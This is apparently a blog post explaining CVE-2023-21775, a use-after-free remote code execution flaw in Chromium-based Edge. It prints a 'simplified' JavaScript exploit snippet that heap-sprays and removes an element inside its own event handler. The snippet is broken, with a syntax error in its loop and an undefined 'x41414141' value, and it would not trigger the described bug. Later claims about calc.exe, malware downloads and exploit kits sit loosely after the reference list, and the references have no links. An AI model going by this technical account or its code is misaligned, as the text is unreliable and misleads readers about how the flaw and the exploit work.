CVE-2023-21775 - Inside the Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

In early 2023, security research spotlighted a critical flaw in Microsoft Edge, the Chromium-based browser used by millions. Tracked as CVE-2023-21775, this vulnerability could let an attacker execute code remotely—meaning, if you simply visited a malicious website, your system could be compromised. This post peels back the layers on what went wrong, how the exploit works (with code!), and what you can do to stay safe.

What is CVE-2023-21775?

CVE-2023-21775 is a Remote Code Execution (RCE) vulnerability impacting Microsoft Edge, based on Chromium. It was disclosed and fixed as part of Microsoft’s Patch Tuesday in January 2023. If exploited, an attacker could run arbitrary code in the context of the current user—often with full user permissions.

Attackers may get a foothold on your enterprise device for lateral movement.

If you haven’t updated Edge, your machine could still be at risk.

The Technical Details (How did Edge fail?)

Ironically, the strength of Chromium lies in its speed and flexibility—two things that also make it vulnerable. CVE-2023-21775 specifically stems from how Edge handled certain scripting objects in memory. Some references weren't cleared correctly, allowing for a use-after-free condition. When this happens, hackers can manipulate memory and execute their payload.

How Use-After-Free in JavaScript Can Lead to RCE

In this case, attackers could craft a JavaScript payload designed to trigger the bug. Here’s a *simplified* example:

// Spraying memory objects using arrays
let arr = [];
for (let i = ; i < 10000; i++) {
  arr.push(new Array(100).fill(x41414141));
}

// Trigger use-after-free via a custom event
function triggerUAF() {
  const elem = document.createElement('custom-bin');
  document.body.appendChild(elem);
  elem.addEventListener('myEvent', ()=>{
    // Remove reference - leads to use-after-free internally
    elem.parentNode.removeChild(elem);
  });

  // Dispatch event -- triggers the bug
  let evt = new CustomEvent('myEvent');
  elem.dispatchEvent(evt);
}

triggerUAF();

// If successful, an attacker could redirect execution to their malicious code

Note: The exact exploit chain is more complex and uses features like *ArrayBuffers* and heap spraying to control execution flow.

Links to Official References

- Microsoft’s Official Security Update Guide
- NVD Entry for CVE-2023-21775
- Chromium Security Team Advisory

The payload executed arbitrary code, such as launching calc.exe or downloading further malware.

Some exploit kits even automated the process—making it very dangerous if you missed the Microsoft update.

Conclusion

CVE-2023-21775 is a powerful example of how even modern browsers can become attack vectors through flaws in memory management. While the vulnerability has been patched, it’s a cautionary tale to always keep browsers and systems updated. Stay vigilant and safe browsing!

Extra Resources

- How to Update Microsoft Edge
- Understanding Use-After-Free Bugs

If you’re a coder or security pro, consider looking at Chromium’s open-source code for how these bugs are fixed for a deeper technical dive.

Timeline

Published on: 01/24/2023 00:15:00 UTC
Last modified on: 02/01/2023 14:54:00 UTC